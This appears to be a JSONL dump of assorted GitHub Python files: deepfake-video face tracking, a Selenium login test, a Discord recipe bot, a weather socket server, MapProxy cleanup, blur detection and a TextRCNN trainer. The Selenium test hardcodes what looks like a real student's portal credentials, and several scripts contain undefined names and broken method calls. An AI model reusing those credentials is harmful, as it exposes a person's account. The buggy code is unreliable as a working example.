)\nMETAFILE = os.path.join(INPATH, 'data', options.metafile)\nWTSFILES = os.path.join(INPATH, options.wtspath)\n# FACEWEIGHTS = os.path.join(INPATH, WTSFILES, 'mmod_human_face_detector.dat')\n# face_detector = dlib.cnn_face_detection_model_v1(FACEWEIGHTS)\nOUTDIR = os.path.join(INPATH, options.imgpath)\nFPS = int(options.fps)\nSTARTSIZE = int(options.startsize)\nBATCHSIZE = int(options.batchsize)\n\n\n# METAFILE='/Users/dhanley2/Documents/Personal/dfake/data/trainmeta.csv.gz'\n\n\ndef imresizels(imgls, im_height, im_width, MAXDIM = 1000):\n    if MAXDIM > max(im_height, im_width):\n        return imgls, im_height, im_width\n    RATIO = MAXDIM/ max(im_height, im_width)\n    w, h = (int(im_width*RATIO), int(im_height*RATIO))\n    outls = [cv2.resize(i, dsize=(w, h), interpolation=cv2.INTER_LINEAR) for i in imgls]\n    return outls, h, w\n\n\ndef bboxes(loc, conf, scale, prior_data, cfg):\n    boxes = decode(loc.data, prior_data, cfg['variance'])\n    boxes = boxes * scale \n    boxes = boxes.cpu().numpy()\n    scores = conf.data.cpu().numpy()[:, 1]\n    \n    # ignore low scores\n    inds = np.where(scores > cfg['confidence'])[0]\n    boxes = boxes[inds]\n    scores = scores[inds]\n    \n    # keep top-K before NMS\n    order = scores.argsort()[::-1]\n    boxes = boxes[order]\n    scores = scores[order]\n    \n    # do NMS\n    dets = np.hstack((boxes, scores[:, np.newaxis])).astype(np.float32, copy=False)\n    keep = py_cpu_nms(dets, cfg['nms_threshold'])\n    dets = dets[keep, :]\n    \n    # convert to boxes\n    dets = [d[:4].astype(np.int32).clip(0, 999999).tolist() + [d[4]] for d in dets]\n    return dets\n\ndef vid2imgls(fname, FPS=8, MAXLOADSECONDS = 20):\n    imgs = []\n    v_cap = cv2.VideoCapture(fname)\n    vnframes, vh, vw, vfps = int(v_cap.get(cv2.CAP_PROP_FRAME_COUNT)), int(v_cap.get(cv2.CAP_PROP_FRAME_HEIGHT)), \\\n            int(v_cap.get(cv2.CAP_PROP_FRAME_WIDTH)), int(round(v_cap.get(cv2.CAP_PROP_FPS)))\n    vcap = cv2.VideoCapture(fname)\n    maxframes = vfps*MAXLOADSECONDS\n    for t in range(vnframes):\n        if t>maxframes: continue\n        ret = vcap.grab()\n        if t % int(round(vfps/FPS)) == 0:\n            ret, frame = vcap.retrieve()\n            frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n            imgs.append(frame)\n    vcap.release()\n    return imgs, vh, vw\n\ndef face_bbox(imgls, im_height, im_width):    \n    batch = np.float32(np.array([i for i in imgls]))\n    # logger.info(batch.shape)\n    batch -= (104, 117, 123)\n    batch = torch.tensor(batch)\n    batch = batch.permute(0, 3, 1, 2)\n    scale = torch.Tensor([im_width, im_height]*2)\n    batch = batch.to(device)\n    scale = scale.to(device)\n    loc, conf, landms = net(batch)\n    #logger.info(loc[0])\n    priorbox = PriorBox(cfg, image_size=(im_height, im_width))\n    priors = priorbox.forward()\n    priors = priors.to(device)\n    prior_data = priors.data\n    dets = [bboxes(loc[i], conf[i], scale, prior_data, cfg) for i in range(batch.shape[0])]\n    #logger.info(dets)\n    return dets\n\n# Make tracker for box areas\ndef sortbbox(faces, anchorframes, thresh = 3, max_age = 1):\n    mot_tracker = Sort(max_age = 1)\n    trackmat = []\n    #logger.info(faces)\n    for t, frame in enumerate(faces):\n        dets = np.array( frame)\n        trackers = mot_tracker.update(dets)\n        trackers = np.hstack((trackers, np.ones((trackers.shape[0], 1))*t*anchorframes))\n        trackmat += trackers.tolist()\n    cols =  ['x1', 'y1', 'x2', 'y2', 'obj', 'frame']\n    trackmat = pd.DataFrame(trackmat, columns = cols).astype(np.int)#[:,0,:]\n    trackmat = trackmat[ trackmat.groupby('obj')['obj'].transform('count') >= thresh]\n    return trackmat\n\ndef gettrack(imgls, anchorframes, im_height, im_width, bsize = BATCHSIZE):\n    imgl = [i for t, i in enumerate(imgls) if t % anchorframes ==0 ]\n    faces = [face_bbox(l, im_height, im_width) for l in chunks(imgl, bsize)]\n    faces = list(chain(*faces))\n    #logger.info(faces)\n    trackmat = sortbbox(faces, anchorframes, thresh = 2)  \n    logger.info('Video dimension {} {} Frames {} Anchor frames {} Tracker length {} Faces count {}'.format(\\\n                    im_height, im_width, len(imgls), anchorframes, len(trackmat), len(list(itertools.chain(*faces)))))\n    return trackmat, faces\n\n\nclass DFakeVideoLoad(Dataset):\n    def __init__(self, metafile, vidpath, fold, mnpath, modpath, config, \\\n                 maxloadsec, fps, batchsize, outdir, framesize = SIZE,\\\n                 initresize = 1024, confthresh=0.95, nmsthresh=0.4, saveimg = False):\n\n        logger.info('Set up processing params')\n        self.fold = fold\n        self.initresize = initresize\n        self.maxloadseconds = maxloadsec\n        self.fps = fps\n        self.batchsize = batchsize\n        self.saveimg = saveimg\n        self.outdir = outdir\n        self.size = framesize\n        \n        logger.info('Set up model')\n        self.mnpath = mnpath\n        self.modpath = modpath\n        self.cfg = config\n        self.cfg['confidence'] = confthresh\n        self.cfg['nms_threshold'] = nmsthresh\n        self.net = RetinaFace(self.cfg, phase = 'test', mnpath = self.mnpath)\n        self.net = load_fd_model(self.net, self.modpath, True)\n        self.net = self.net.to(device)\n        self.net.eval()\n        \n        logger.info('Set up files to load')\n        df = pd.read_csv(METAFILE)\n        df['video_path'] = vidpath+'/'+df['folder']+'/'+df['video']\n        logger.info('Full video file shape {} {}'.format(*df.shape))\n        self.metadf = df.reset_index(drop=True)\n        self.vidfiles = self.metadf.video_path.tolist()[:100]\n        \n        logger.info('Set up logging params')\n        self.logls = []\n        self.trackls = []\n        \n    def __len__(self):\n        return len(self.vidfiles)\n    \n    def __getitem__(self, idx):\n\n        vname = self.vidfiles[idx]\n        logger.info('Process image {} : {}'.format(idx, vname.split('/')[-1]))\n        try:\n            imgls, H, W = vid2imgls(vname, self.fps, self.maxloadseconds)\n            # For most images we do not need the full size to find the boxes\n            thumbls, h, w = imresizels(imgls, H, W, MAXDIM = self.initresize)\n            trackmat, faces = gettrack(thumbls, self.fps//4, h, w, self.batchsize*2)\n            # If downsizing does not work, try with the original image \n            if len(trackmat)<5 and max(H,W)<2000:\n                trackmat, faces = gettrack(imgls, self.fps//4, H, W, self.batchsize)\n                if len(trackmat)<5 and max(H,W)<2000:\n                    trackmat, faces = gettrack(imgls, self.fps//8, H, W, self.batchsize)  \n            else:\n                trackmat[['x1', 'x2']] = (trackmat[['x1', 'x2']]*(W/w)).astype(np.int32)\n                trackmat[['y1', 'y2']] = (trackmat[['y1', 'y2']]*(H/h)).astype(np.int32)\n            trackmat[['x1', 'x2']] = trackmat[['x1', 'x2']].clip(0, W)\n            trackmat[['y1', 'y2']] = trackmat[['y1', 'y2']].clip(0, H)\n            trackvid = pd.DataFrame(list(product(trackmat.obj.unique(), range(len(imgls) ))), \\\n                         columns=['obj', 'frame'])\n            trackvid = trackvid.merge(trackmat, how = 'left')\n            trackvid = pd.concat([trackvid.query('obj==@o')\\\n                                   .interpolate(method='piecewise_polynomial').dropna() \\\n                 for o in trackvid['obj'].unique()], 0) \\\n                    .astype(np.int).sort_values(['frame', 'obj'], 0) \\\n                    .reset_index(drop=True)\n            trackvid.obj = trackvid.obj.astype('category').cat.codes\n            trackvid['video']=vname\n            trackvid['maxdim'] = pd.concat([trackvid.x2-trackvid.x1, \n                                            trackvid.y2-trackvid.y1], axis=1).max(axis=1)\n            imgdict = collections.OrderedDict((o, []) for o in range(1+trackvid.obj.max()))         \n            for (t, row) in trackvid.iterrows():\n                obj = row.obj\n                frame = imgls[row.frame]\n                face = frame[row.y1:row.y1+row.maxdim, row.x1:row.x1+row.maxdim]\n                face = cv2.resize(face, (self.size,self.size), interpolation=cv2.INTER_CUBIC)\n                imgdict[obj].append(face)\n            trackfaces = np.array(sum(list(imgdict.values()), []))\n            trackvid = trackvid.sort_values(['obj', 'frame'], 0).reset_index(drop=True)\n            N_OBJ, N_FACES = len(trackvid.obj.unique()), len(trackvid)\n            self.trackls.append(trackvid)\n            if self.saveimg:\n                np.savez_compressed(os.path.join(OUTDIR, VNAME.split('/')[-1].replace('mp4', 'npz')), trackfaces)\n            self.logls.append([vname.split('/')[-1], N_OBJ, N_FACES])\n            return {'idx': idx, 'frames' : trackfaces}\n        except Exception:\n            logger.exception(\"Fatal error in main loop\")\n\ndef collatefn(batch):\n    # Remove error reads\n    batch = [b for b in batch if b is not None]\n    seqlen = torch.tensor([l['frames'].shape[0] for l in batch])\n    ids = torch.tensor([l['idx'] for l in batch])\n\n    maxlen = seqlen.max()    \n    # get shapes\n    d0,d1,d2,d3 = batch[0]['frames'].shape\n        \n    # Pad with zero frames\n    x_batch = [l['frames'] if l['frames'].shape[0] == maxlen else \\\n         torch.cat((l['frames'], torch.zeros((maxlen-sl,d1,d2,d3))), 0) \n         for l,sl in zip(batch, seqlen)]\n    x_batch = torch.cat([x.unsqueeze(0) for x in x_batch])\n    \n    return {'frames': x_batch, 'ids': ids, 'seqlen': seqlen, 'labels': y_batch}\n\n\nINPATH\n\nalldataset = DFakeVideoLoad(\n                        mnpath = os.path.join(WTSFILES, 'retinaface/mobilenetV1X0.25_pretrain.tar'),\n                        config = cfg_mnet,\n                        confthresh = 0.95,\n                        nmsthresh = 0.4,\n                        modpath = os.path.join(WTSFILES, 'retinaface/mobilenet0.25_Final.pth'),\n                        metafile = METAFILE,\n                        vidpath = os.path.join(INPATH, options.vidpath),\n                        maxloadsec = MAXLOADSECONDS,\n                        fps = FPS,\n                        batchsize = BATCHSIZE,\n                        saveimg = True,\n                        outdir = OUTDIR)\nallloader = DataLoader(alldataset, \n                       batch_size=4, \n                       shuffle=False, \n                       num_workers=8, \n                       collate_fn=collatefn)  \n    \nfor step, batch in enumerate(allloader):\n    x = batch['frames']#.to(device, dtype=torch.float)\n    y = batch['labels']#.to(device, dtype=torch.float)\n\nlogdf = pd.DataFrame(alldataset.logls, columns = ['video', 'objectct', 'framect', 'duration', 'status'])\ntrackdf = pd.concat(alldataset.trackls, 0)\ntrackdf['video'] = trackdf['video'].apply(lambda x: x.split('/')[-1])\nlogdf.to_csv(os.path.join(alldataset.outdir, 'log_fold{}.txt'.format(alldataset.fold)), index = False)\ntrackdf.to_csv(os.path.join(alldataset.outdir, 'tracker_fold{}.txt'.format(alldataset.fold)), index = False)\n\n\n        \n","repo_name":"darraghdog/dfake","sub_path":"util/saver09/vid_saver_tmp.py","file_name":"vid_saver_tmp.py","file_ext":"py","file_size_in_byte":14579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41100048867","text":"\n# Завдання №15. Напишіть функцію, яка отримує речення у вигляді рядка і повертає нове речення, в якому\n# перша буква кожного слова пишеться з великої літери. Використовуйте метод split, щоб розбити речення\n# на слова, і метод capitalize, щоб зробити першу літеру великою.\n\ndef function_15(string):\n    \"\"\" Функція повертає речення збільшуючи першу букву у кожному слові \"\"\"\n    words = string.split()\n    capitalized_words = [word.capitalize() for word in words]\n    new_string = \" \".join(capitalized_words)\n    return new_string\n\n\ninput_string = input(\"Введіть речення: \")\nprint(function_15(input_string))\n","repo_name":"usik-sviatoslav/IT-Brains-Lessons","sub_path":"Module №1. Python Basics/6. Функції/Task 15.py","file_name":"Task 15.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43930044629","text":"import unittest\n\nfrom ProjectPOM.Pages.loginuda import loginuda\nfrom selenium import webdriver\n\nfrom selenium.webdriver.chrome.service import Service\n\nclass Loginuda(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        s = Service(\"D:/PyCharmProject/ProjectPom/chromedriver.exe\")\n        cls.driver = webdriver.Chrome(service=s)\n        cls.driver.implicitly_wait(10)\n        cls.driver.maximize_window()\n\n    def test_01(self):\n        driver = self.driver\n\n        driver.get(\"http://my.uda.edu.vn/sv/svlogin\")\n        Login = loginuda(driver)\n        Login.enter_username(\"47756\")\n        Login.enter_Password(\"06/10/2001\")\n        Login.enter_Login()\n\n\n        driver.save_screenshot(\"seve.png\")\n\n    @classmethod\n    def tearDownClass(cls):\n        # cls.driver.close()\n        # cls.driver.quit()\n        print('Hoàn Thành Kiểm Tra!')","repo_name":"quangnt01/kimthuphanmem","sub_path":"ProjectPom/ProjectPOM/Tests/loginuda.py","file_name":"loginuda.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34524596654","text":"import asyncio\nimport requests\nfrom configurations import config\nfrom utilities import keys\n\n\nasync def handle_recipe(client, is_private, message):\n    target = message.channel if not is_private else message.author\n    await target.send(\"What recipe do you want to search for?\")\n\n    # Wait for the user to respond with the recipe they want to search for\n    try:\n        recipe_message = await client.wait_for(\n            \"message\",\n            timeout=config.USER_RESPONSE_TIME,\n            check=lambda m: m.author == message.author and not m.content.startswith(config.prefix)\n        )\n    except asyncio.TimeoutError:\n        await target.send(\"Sorry, you took too long to enter a recipe!\")\n        return\n\n    food = recipe_message.content\n    # Search for recipes using the Spoonacular API\n    url = f\"https://api.spoonacular.com/recipes/complexSearch?query={recipe_message.content}&apiKey={keys.SPOONACULAR_API_KEY}\"\n    try:\n        response = requests.get(url).json()\n\n        if response[\"results\"]:\n            recipe = response[\"results\"][0]\n            recipe_name = recipe[\"title\"]\n            recipe_id = recipe[\"id\"]\n\n            url = f\"https://api.spoonacular.com/recipes/{recipe_id}/information?apiKey={keys.SPOONACULAR_API_KEY}\"\n            response = requests.get(url).json()\n\n            recipe_instructions = response[\"instructions\"]\n            recipe_ingredients = response[\"extendedIngredients\"]\n\n            formatted_ingredients = \"\\n\".join(\n                [f\"{ingredient['original']} ({ingredient['amount']} {ingredient['unit']})\" for ingredient in recipe_ingredients]\n            )\n\n            recipe_text = f\"**{recipe_name}**\\n\\nIngredients:\\n{formatted_ingredients}\\n\\nInstructions:\\n{recipe_instructions}\"\n            await target.send(recipe_text[:2000])  # Make sure the message doesn't exceed Discord's 2000-character limit\n        else:\n            await target.send(\"No recipes found!\")\n    except requests.exceptions.HTTPError as e:\n        await target.send(str(e))\n    except Exception as e:  # catch-all for unexpected errors\n        await target.send(f\"Sorry, an error occurred: {str(e)}\")\n","repo_name":"jyronbones/NeoBot","sub_path":"handlers/recipe.py","file_name":"recipe.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"39253358578","text":"#Program to read weewx and output Arne Henrikson format for Xastir or other apps\n#Written by Stephen Hamilton\n\nimport socket\nimport sys\nimport time\nimport mysql.connector\n\ndef main():\n    #Xastir client ip address\n    xastir_addr = ('192.168.1.11', 8888)\n    # Create a TCP/IP socket\n    #sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    \n    # Bind the socket to the port\n    server_address = ('localhost', 8888)\n    print >>sys.stderr, 'starting up on %s port %s' % server_address\n    sock.bind(server_address)\n    sock.listen(1)\n    connection, client_address = sock.accept()\n    data = connection.recv(4096)\n    print >>sys.stderr, 'received \"%s\"' % data\n    while True:\n        #print \"Sending output\"\n        data = getweatherpacket()\n        \n        print (\"Waiting to receive\")\n        #data, server = sock.recvfrom(4096)\n        \n        print >>sys.stderr, 'Sending \"%s\"' % data\n        connection.sendall(data)\n        #sent = sock.sendto(data)\n        time.sleep(5) \n        \n\ndef getweatherpacket():\n    #MySQL String\n    cnx = mysql.connector.connect(user='weewx', database='weewx', host='ipa', password='')\n    cursor = cnx.cursor()\n    sqlstring = \"select outTemp, windSpeed, windGust, windDir, rainRate, rain, outHumidity, barometer, pressure from archive order by dateTime desc limit 1;\"\n    #Replace with mysql command to get latest weather\n    #Format:\n    #temp(C), maxT(C), minT(c), wd->anem_mps, wd->anem_gust /*peak_speedMS*/,\n    #wd->anem_speed_max * 0.447040972 /*max_speedMS*/,\n    #wd->vane_bearing - 1 /*current_dir*/,\n    #wd->vane_mode /*max_dir*/,\n    #wd->rain_rate /*rain_rateI*/,                                   #H\n    #            T    MT   mT    spd   #b                              #H\n    swxstring = \"17.7 38.7 19.7 .44704 .70 30.0 4 5 30.0 40.0 50.0 60.0 24 2 3 4 5 6 7 8 9 10\\r\\n\"\n    #print(\"Sample\\n\")\n    wxstring = \"\"\n    #print swxstring\n    cursor.execute(sqlstring)\n    row = cursor.fetchone()\n    #print (row)\n    temp = (row[0]-32)*5/9\n    wxstring = '{:03.1f}'.format(temp) #outside temp\n    wxstring = wxstring + \" \" + '{:03.1f}'.format(temp) #max temp\n    wxstring = wxstring + \" \" + '{:03.1f}'.format(temp) #min temp\n\n    wxstring = wxstring + \" \" + '{:03.1f}'.format(row[1]*1.609/3.66) #speed\n    wxstring = wxstring + \" \" + '{:03.1f}'.format(row[2]*1.609/(3.66)) #gust\n    if (row[3] == None):\n        winddir = 0\n    else:\n        winddir = int((row[3]/22.5)+.5)\n    wxstring = wxstring + \" 0.0 \" + str(winddir) #maxspeed (unused), bearing\n    wxstring = wxstring + \" 1 \" + '{:03.3f}'.format(row[4]) #max_dir (unused), rainrate\n    wxstring = wxstring + \" \" + '{:02.2f}'.format(row[5]) #rain\n    wxstring = wxstring + \" 6.0 5.0 \" + '{:03.3f}'.format(row[6]) #outHumidity\n    wxstring = wxstring + \" 1.0 1.0 \" + '{:03.3f}'.format(row[7]) #RHmax (unused), rhmin(unused), barometer    print (\"sending %s\" % wxstring)\n    wxstring = wxstring + \" 1.0 1.0 1.0 1.0 1.0 1.0 1.0\\r\\n\"\n    cursor.close()\n    return wxstring\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"sshamilton/wxreader","sub_path":"wxreader.py","file_name":"wxreader.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41659122259","text":"from __future__ import print_function\n\nimport os\nfrom mapproxy.compat.itertools import izip_longest\nfrom mapproxy.seed.util import format_cleanup_task\nfrom mapproxy.util.fs import cleanup_directory\nfrom mapproxy.seed.seeder import (\n    TileWorkerPool, TileWalker, TileCleanupWorker,\n    SeedProgress,\n)\nfrom mapproxy.seed.util import ProgressLog\n\ndef cleanup(tasks, concurrency=2, dry_run=False, skip_geoms_for_last_levels=0,\n               verbose=True, progress_logger=None):\n    for task in tasks:\n        print(format_cleanup_task(task))\n\n        if task.coverage is False:\n            continue\n\n        # seed_progress for tilewalker cleanup\n        seed_progress = None\n        # cleanup_progress for os.walk based cleanup\n        cleanup_progress = None\n        if progress_logger and progress_logger.progress_store:\n            progress_logger.current_task_id = task.id\n            start_progress = progress_logger.progress_store.get(task.id)\n            seed_progress = SeedProgress(old_progress_identifier=start_progress)\n            cleanup_progress = DirectoryCleanupProgress(old_dir=start_progress)\n\n        if task.complete_extent:\n            if callable(getattr(task.tile_manager.cache, 'level_location', None)):\n                simple_cleanup(task, dry_run=dry_run, progress_logger=progress_logger,\n                    cleanup_progress=cleanup_progress)\n                task.tile_manager.cleanup()\n                continue\n            elif callable(getattr(task.tile_manager.cache, 'remove_level_tiles_before', None)):\n                cache_cleanup(task, dry_run=dry_run, progress_logger=progress_logger)\n                task.tile_manager.cleanup()\n                continue\n\n        tilewalker_cleanup(task, dry_run=dry_run, concurrency=concurrency,\n                         skip_geoms_for_last_levels=skip_geoms_for_last_levels,\n                         progress_logger=progress_logger,\n                         seed_progress=seed_progress,\n        )\n        task.tile_manager.cleanup()\n\n\ndef simple_cleanup(task, dry_run, progress_logger=None, cleanup_progress=None):\n    \"\"\"\n    Cleanup cache level on file system level.\n    \"\"\"\n\n    for level in task.levels:\n        level_dir = task.tile_manager.cache.level_location(level)\n        if dry_run:\n            def file_handler(filename):\n                print('removing ' + filename)\n        else:\n            file_handler = None\n        if progress_logger:\n            progress_logger.log_message('removing old tiles in ' + normpath(level_dir))\n            if progress_logger.progress_store:\n                cleanup_progress.step_dir(level_dir)\n                if cleanup_progress.already_processed():\n                    continue\n                progress_logger.progress_store.add(\n                    task.id,\n                    cleanup_progress.current_progress_identifier(),\n                )\n                progress_logger.progress_store.write()\n\n        cleanup_directory(level_dir, task.remove_timestamp,\n            file_handler=file_handler, remove_empty_dirs=True)\n\ndef cache_cleanup(task, dry_run, progress_logger=None):\n    for level in task.levels:\n        if progress_logger:\n            progress_logger.log_message('removing old tiles for level %s' % level)\n        if not dry_run:\n            task.tile_manager.cache.remove_level_tiles_before(level, task.remove_timestamp)\n            task.tile_manager.cleanup()\n\ndef normpath(path):\n    # relpath doesn't support UNC\n    if path.startswith('\\\\'):\n        return path\n\n    path = os.path.relpath(path)\n\n    if path.startswith('../../'):\n        path = os.path.abspath(path)\n    return path\n\ndef tilewalker_cleanup(task, dry_run, concurrency, skip_geoms_for_last_levels,\n    progress_logger=None, seed_progress=None):\n    \"\"\"\n    Cleanup tiles with tile traversal.\n    \"\"\"\n    task.tile_manager._expire_timestamp = task.remove_timestamp\n    task.tile_manager.minimize_meta_requests = False\n    tile_worker_pool = TileWorkerPool(task, TileCleanupWorker, progress_logger=progress_logger,\n                                      dry_run=dry_run, size=concurrency)\n    tile_walker = TileWalker(task, tile_worker_pool, handle_stale=True,\n                             work_on_metatiles=False, progress_logger=progress_logger,\n                             skip_geoms_for_last_levels=skip_geoms_for_last_levels,\n                             seed_progress=seed_progress)\n    try:\n        tile_walker.walk()\n    except KeyboardInterrupt:\n        tile_worker_pool.stop(force=True)\n        raise\n    finally:\n        tile_worker_pool.stop()\n\n\nclass DirectoryCleanupProgress(object):\n    def __init__(self, old_dir=None):\n        self.old_dir = old_dir\n        self.current_dir = None\n\n    def step_dir(self, dir):\n        self.current_dir = dir\n\n    def already_processed(self):\n        return self.can_skip(self.old_dir, self.current_dir)\n\n    def current_progress_identifier(self):\n        if self.already_processed() or self.current_dir is None:\n            return self.old_dir\n        return self.current_dir\n\n    @staticmethod\n    def can_skip(old_dir, current_dir):\n        \"\"\"\n        Return True if the `current_dir` is before `old_dir` when compared\n        lexicographic.\n\n        >>> DirectoryCleanupProgress.can_skip(None, '/00')\n        False\n        >>> DirectoryCleanupProgress.can_skip(None, '/00/000/000')\n        False\n\n        >>> DirectoryCleanupProgress.can_skip('/01/000/001', '/00')\n        True\n        >>> DirectoryCleanupProgress.can_skip('/01/000/001', '/01/000/000')\n        True\n        >>> DirectoryCleanupProgress.can_skip('/01/000/001', '/01/000/000/000')\n        True\n        >>> DirectoryCleanupProgress.can_skip('/01/000/001', '/01/000/001')\n        False\n        >>> DirectoryCleanupProgress.can_skip('/01/000/001', '/01/000/001/000')\n        False\n        \"\"\"\n        if old_dir is None:\n            return False\n        if current_dir is None:\n            return False\n        for old, current in izip_longest(old_dir.split(os.path.sep), current_dir.split(os.path.sep), fillvalue=None):\n            if old is None:\n                return False\n            if current is None:\n                return False\n            if old < current:\n                return False\n            if old > current:\n                return True\n        return False\n\n    def running(self):\n        return True\n","repo_name":"mapproxy/mapproxy","sub_path":"mapproxy/seed/cleanup.py","file_name":"cleanup.py","file_ext":"py","file_size_in_byte":6348,"program_lang":"python","lang":"en","doc_type":"code","stars":489,"dataset":"github-code","pt":"60"}
+{"seq_id":"19335740375","text":"import logging, logging.handlers\nimport locale\n\nlocale.setlocale(locale.LC_ALL, '')\n\nsequence = 0\n\ndef doLog(logger):\n    global sequence\n    sequence = sequence + 1\n    logger.debug(\"%6d This message should be at level %d - %s\", sequence,\\\n                logging.DEBUG, logging.getLevelName(logging.DEBUG))\n    sequence = sequence + 1\n    logger.info(\"%6d This message should be at level %d - %s\", sequence,\n                logging.INFO, logging.getLevelName(logging.INFO))\n    sequence = sequence + 1\n    logger.warning(\"%6d This message should be at level %d - %s\", sequence,\\\n                logging.WARNING, logging.getLevelName(logging.WARNING))\n    sequence = sequence + 1\n    logger.error(\"%6d This message should be at level %d - %s\", sequence,\\\n                logging.ERROR, logging.getLevelName(logging.ERROR))\n    sequence = sequence + 1\n    logger.critical(\"%6d This message should be at level %d - %s\", sequence,\\\n                logging.CRITICAL, logging.getLevelName(logging.CRITICAL))\n\ndef main():\n    logger = logging.getLogger(\"\")  #root logger\n    logger.setLevel(logging.DEBUG)\n    if __name__ == \"__main__\":\n        logname = \"rollover.log\"\n    else:\n        logname = \"log_test_rollover.log\"\n    hdlr = logging.handlers.RotatingFileHandler(logname, \"a\", 5000, 3)\n    if __name__ == \"__main__\":\n       fmt = logging.Formatter(\"%(asctime)s %(levelname)-5s %(message)s\", \"%x %X\")\n       hdlr.setFormatter(fmt)\n    logger.addHandler(hdlr)\n    for i in xrange(100):\n        doLog(logger)\n    logger.removeHandler(hdlr)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"CPFL/gxen","sub_path":"tools/python/logging/logging-0.4.9.2/test/log_test8.py","file_name":"log_test8.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"60"}
+{"seq_id":"14736052977","text":"import cv2\nimport os\n\n\nclass Blurry(object):\n\n    def __init__(self, _imageA, _imageB, ):\n        self.imageA = _imageA\n        self.imageB = _imageB\n        return\n\n    def __variance_of_laplacian(image):\n        \"\"\"Blur detection with OpenCV\"\"\"\n        # compute the Laplacian of the image and then return the focus\n        # measure, which is simply the variance of the Laplacian\n        return cv2.Laplacian(cv2.imread(image), cv2.CV_64F).var()\n\n    def find_blurry(self,):\n        sharpness_img_a = self.__variance_of_laplacian(self.imageA)\n        sharpness_img_b = self.__variance_of_laplacian(self.imageB)\n\n        if sharpness_img_a > sharpness_img_b:\n            delta_sharpness = sharpness_img_a - sharpness_img_b\n            sharpness_ratio = delta_sharpness / sharpness_img_a\n            if sharpness_ratio > 0.15:\n                blurry = (False, True)\n            else:\n                blurry = (False, False)\n        else:\n            delta_sharpness = sharpness_img_b - sharpness_img_a\n            sharpness_ratio = delta_sharpness / sharpness_img_b\n            if sharpness_ratio > 0.15:\n                blurry = (True, False)\n            else:\n                blurry = (False, False)\n        return blurry","repo_name":"bergs89/photo_lib_management","sub_path":"find_blurry.py","file_name":"find_blurry.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39861615838","text":"s = input()\nletters = {}\n\nfor letter in s:\n    letter = letter.lower()\n    if letter not in letters:\n        letters[letter] = 1\n    else:\n        letters[letter] += 1\n\nfor key, value in sorted(letters.items(), key=lambda x: x[0]):\n    print('{}: {}'.format(key, value))","repo_name":"Akaexus/snake","sub_path":"6/dict/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70667991553","text":"import sys\nimport os\nimport numpy as np\nfrom sklearn.metrics import make_scorer, f1_score, precision_score, accuracy_score, log_loss, classification_report, confusion_matrix\nfrom keras.preprocessing import sequence\nimport tensorflow as tf\nimport keras.backend.tensorflow_backend as KTF\nfrom gensim.models import KeyedVectors\nfrom textrcnn import TextRCNN\nsys.path.append('../')\nimport data_helpers\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsess = tf.Session(config=config)\nKTF.set_session(sess)\n\nbatch_size = 64\nembedding_dim = 300\nepochs = 100\n\nprint('Loading data...')\n# get data\nx_train, y_train, x_test, y_test, word2index = data_helpers.preprocess()\nmax_features = len(word2index)\n\nmaxlen = max(len(x) for x in x_train)\n\n\nprint('Pad sequences...')\nx_train = sequence.pad_sequences(x_train, maxlen=maxlen, value=0)\nx_test = sequence.pad_sequences(x_test, maxlen=maxlen, value=0)\nleft_ctx_train, right_ctx_train, left_ctx_test, right_ctx_test = x_train, x_train, x_test, x_test\n\nfor i in range(len(x_train)):\n    left_ctx_train[i] = np.append([0], x_train[i][1:])\n    right_ctx_train[i] = np.append(x_train[i][:-1], [0])\n\nfor i in range(len(x_test)):\n    left_ctx_test[i] = np.append([0], x_test[i][1:])\n    right_ctx_test[i] = np.append(x_test[i][:-1], [0])\n\n\ndef load_word2vec(word2vec_model, vocab_sz, word2index):\n    print('Load Word2vec...')\n    word2vec1 = KeyedVectors.load_word2vec_format(word2vec_model, binary=True)\n    embed_size = 300\n    embedding_weight = np.zeros((vocab_sz, embed_size))\n    for word, index in word2index.items():\n        try:\n            embedding_weight[index, :] = word2vec1[word]\n        except KeyError:\n            pass\n    del word2vec1\n    return embedding_weight\n\n\nword2vec_path = '../../../../Ek/GoogleNews-vectors-negative300.bin'\nembedding_weights = load_word2vec(word2vec_path, len(word2index), word2index)\n\nprint('Build model...')\nmodel = TextRCNN(word_num=max_features, embedding_dim=300, rnn_dim=64, cnn_dim=64, class_num=2, epochs=100,\n                 batch_size=64, embedding_weight=embedding_weights)\n\nprint('Train...')\nmodel.fit(x_train, left_ctx_train, right_ctx_train, x_test, left_ctx_test, right_ctx_test, y_train, y_test)\n\nprint('Test...')\nresult = model.predict(x_test, left_ctx_test, right_ctx_test)\nresult = np.argmax(np.array(result), axis=1)\ny_test = np.argmax(np.array(y_test), axis=1)\n\nprint('f1:', f1_score(y_test, result, average='macro'))\nprint('accuracy:', accuracy_score(y_test, result))\nprint('classification report:\\n', classification_report(y_test, result))\nprint('confusion matrix:\\n', confusion_matrix(y_test, 